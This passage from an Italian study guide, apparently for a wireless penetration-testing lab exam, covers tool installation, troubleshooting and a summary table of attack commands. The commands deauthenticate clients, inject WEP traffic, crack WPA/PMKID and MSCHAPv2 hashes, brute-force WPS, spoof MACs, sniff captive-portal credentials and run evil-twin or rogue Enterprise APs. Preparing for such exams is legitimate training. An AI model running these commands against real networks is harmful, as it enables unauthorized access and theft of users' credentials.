Se fallisce, controlla: nome interfaccia sbagliato, oppure interfaccia ancora in monitor mode (sudo airmon-ng stop <int> per riportarla gestita).

Note

Se dhclient manca: sudo apt install isc-dhcp-client. Per reti aperte/WEP/PSK puoi anche usare nmcli dev wifi connect <ESSID> (gestisce da solo il DHCP), ma per Enterprise e WEP via iw dev connect conviene avere dhclient disponibile.

Recuperare il proof.txt

Bash
ip route | grep default
curl http://192.168.1.1/proof.txt
wget http://192.168.1.1/proof.txt
cat proof.txt
Se non disponibile: prova anche flag.txt e index.php (a volte la flag appare solo dopo login, vedi 2.5 Tecnica B), o curl -k https://... se serve HTTPS.

Documentazione (obbligatoria)

Screenshot per ogni scenario: scansione con BSSID/ESSID target, cattura handshake/IV/credenziali, comando di cracking con la chiave trovata, connessione (ip addr), download del proof.txt, contenuto del proof.txt.


FASE 8: INSTALLAZIONE STRUMENTI (da sorgente/apt, se mancanti)

Bash
# Suite base
sudo apt update
sudo apt install aircrack-ng asleap hashcat john hcxtools tshark isc-dhcp-client macchanger reaver mdk4

# FreeRADIUS (necessario solo per il Metodo B della 2.3)
sudo apt install freeradius freeradius-utils

# hostapd-mana da sorgente (se non pacchettizzato)
sudo apt install libssl-dev libnl-3-dev libnl-genl-3-dev
git clone https://github.com/sensepost/hostapd-mana.git
cd hostapd-mana/hostapd
make
sudo make install

APPENDICE: ERRORI COMUNI

"No such device" per wlan0/wlan0mon

Bash
iwconfig
iw dev

Warning

Il nome dell'interfaccia in monitor mode potrebbe essere rimasto wlan0 invece di diventare wlan0mon.

"Permission denied"

Bash
sudo su -

"Device or resource busy"

Bash
sudo airmon-ng check kill
sudo systemctl restart NetworkManager

Hashcat: "No devices found/left"

Caution

Su Kali arm64, pocl-opencl-icd è stato rimosso dai repo — non installabile via apt. Usa aircrack-ng/asleap come da Fase 0.5. Se hai comunque un backend funzionante:

Bash
sudo hashcat -m 22000 hash_handshake.hc22000 /usr/share/wordlists/rockyou.txt --force
sudo hashcat -m 22000 hash_handshake.hc22000 --show

"sudo: dhclient: comando non trovato"

Bash
sudo apt install isc-dhcp-client -y
sudo dhclient wlan0
# alternativa senza installare nulla, se NetworkManager è attivo:
nmcli dev wifi connect <ESSID>

"No handshake captured" in aircrack-ng

Bash
sudo aireplay-ng -0 10 -a <BSSID> -c <CLIENT_MAC> wlan0mon
# alternativa clientless:
sudo hcxdumptool -i wlan0mon -w capture.pcapng
hcxpcapngtool -o hash.hc22000 capture.pcapng
hcxhash2cap --pmkid-eapol=hash.hc22000 -c converted.cap
sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt converted.cap

"No IVs gathered" in aircrack-ng (WEP)

Bash
sudo aireplay-ng -3 -b <BSSID> -h $ORIG_MAC wlan0mon
sudo aireplay-ng -1 0 -e <ESSID> -a <BSSID> -h $ORIG_MAC wlan0mon
# se nessun client/traffico:
sudo aireplay-ng -4 -b <BSSID> -h $ORIG_MAC wlan0mon   # chopchop
sudo aireplay-ng -5 -b <BSSID> -h $ORIG_MAC wlan0mon   # fragmentation

"Memory allocation failed" in Hashcat: aumenta RAM VM o usa wordlist più piccola (solo se hashcat ha un backend funzionante).

"Injection is working: NO" / "Found 0 APs" con aireplay-ng -9: verifica monitor mode reale, driver, e nessun altro processo attivo sull'interfaccia. Su lab virtuali può dare falsi negativi — verifica con scan diretto e aireplay-ng -1 0.

aireplay-ng in loop su "wlan0mon is on channel X, but the AP uses channel Y": un altro processo (tipicamente airodump-ng in hopping) sulla stessa interfaccia sta cambiando canale. Usa un'interfaccia diversa o ferma lo scan hopping.

Captive portal: MAC spoofing non funziona: non tutti i portali usano whitelist MAC. Se resti bloccato su un form Username/Password, è login applicativo reale → Tecnica B (2.5).

tshark -e http.file_data restituisce hex illeggibile: normale, decodifica con echo "<hex>" | xxd -r -p o Wireshark → Follow → HTTP Stream.

make fallisce su client.crt nel Metodo B (FreeRADIUS): tipicamente un mismatch tra countryName nel CA e nella richiesta — ignorabile se dh viene comunque rigenerato correttamente.


RIEPILOGO COMANDI PRINCIPALI

Fase Comando
Setup sudo airmon-ng check kill && sudo airmon-ng start wlan0
ORIG_MAC=$(ip link show wlan0 \| grep link/ether \| awk '{print $2}')
sudo aireplay-ng -9 wlan0mon (test injection)
hashcat -I (verifica device PRIMA di contarci)
which dhclient (installa se assente)
Scansione sudo airodump-ng --band abg --manufacturer --wps wlan0mon
SSID nascosto sudo airodump-ng --band abg --bssid <mac> wlan0mon
SSID nascosto, bruteforce mdk4 wlan0mon p -t <BSSID> -f <wordlist>
Cambia canale sudo iw dev wlan0mon set channel <N> (o ifconfig down/iwconfig channel/up)
Cattura mirata sudo airodump-ng -c <CH> --bssid <BSSID> -w <file> wlan0mon
Deauth (WPA) sudo aireplay-ng -0 5 -a <BSSID> -c <CLIENT_MAC> wlan0mon
ARP Replay (WEP) sudo aireplay-ng -3 -b <BSSID> -h $ORIG_MAC wlan0mon
Fake Auth (WEP) sudo aireplay-ng -1 0 -e <ESSID> -a <BSSID> -h $ORIG_MAC wlan0mon
ChopChop/Fragmentation sudo aireplay-ng -4 / -5 -b <BSSID> -h $ORIG_MAC wlan0mon
Crack WEP sudo aircrack-ng wep_capture-01.cap
Crack WPA (aircrack-ng, primario) sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt wpa_capture-01.cap
Converti per Hashcat hcxpcapngtool -o hash.hc22000 wpa_capture-01.cap
Crack WPA (Hashcat, opzionale) sudo hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt
PMKID clientless sudo hcxdumptool -i wlan0mon -w cap.pcapng
PMKID → .cap per aircrack-ng hcxhash2cap --pmkid-eapol=hash.hc22000 -c converted.cap
WPS Scan sudo wash -i wlan0mon -s
WPS Attack sudo reaver -i wlan0mon -b <BSSID> -c <CH> -vv
Captive Portal — MAC spoof sudo macchanger -m <CLIENT_MAC> wlan0
Captive Portal — sniff credenziali tshark -r <file>.cap -Y "http.request.method == POST" -T fields -e http.file_data
Captive Portal — decodifica hex echo "<hex>" \| xxd -r -p
Evil Twin sudo airbase-ng -e <ESSID> -c <CH> wlan0mon
Rogue AP Enterprise (hostapd-wpe) sudo hostapd-wpe hostapd-wpe.conf
Rogue AP Enterprise (hostapd-mana) sudo hostapd-mana network.conf
Estrai certificato reale (Wireshark) filtro tls.handshake.certificate → Export/CTRL+SHIFT+X
Leggi certificato openssl x509 -inform der -in cert.der -text
Crack MSCHAPv2 (asleap, primario) sudo asleap -C <CHALLENGE> -R <RESPONSE> -W /usr/share/wordlists/rockyou.txt
Crack MSCHAPv2 (Hashcat, opzionale) sudo hashcat -a 0 -m 5500 hash.txt /usr/share/wordlists/rockyou.txt --force
Spoof MAC sudo ip link set wlan0 down && sudo macchanger -m <NEW_MAC> wlan0 && sudo ip link set wlan0 up
Connessione sudo wpa_supplicant -B -i wlan0 -c wpa_supplicant.conf + sudo dhclient wlan0
Prova finale curl http://192.168.1.1/proof.txt

SUGGERIMENTI PER L'ESAME

  1. Leggi il MAC e testa l'injection prima di fidarti dell'interfaccia.
  2. Verifica hashcat -I e which dhclient prima dell'esame — pianifica aircrack-ng/asleap/nmcli come primari se mancano.
  3. Più terminali: uno per airodump-ng, uno per aireplay-ng, uno per il cracking — mai due processi mirati sulla stessa interfaccia in parallelo.
  4. Blocca sempre il canale quando attacchi un target specifico.
  5. Sulle reti OPN, diagnostica sempre prima il tipo di captive portal (STEP 0 della 2.5) invece di tentare a caso.
  6. Sulle reti Enterprise, se c'è unknown CA, non insistere sullo stesso target con lo stesso metodo: cambia target o prova il Metodo B.
  7. Se ci sono due AP Enterprise con lo stesso nome, deautenticali entrambi.
  8. Documenta tutto: comando, output, screenshot.
  9. Gestisci il tempo (3h45m totali) — inizia dallo scenario più semplice.
  10. Verifica il proof.txt prima di passare oltre.
  11. Vietati strumenti automatici: wifite, wifiphisher, besside-ng.
  12. Se qualcosa non funziona, ripeti da capo: spesso è solo timing o interfaccia sbagliata.
  13. Conserva tutti i file di cattura (.cap, .hc22000, log hostapd-wpe/mana) come prova.

RISORSE E LABORATORI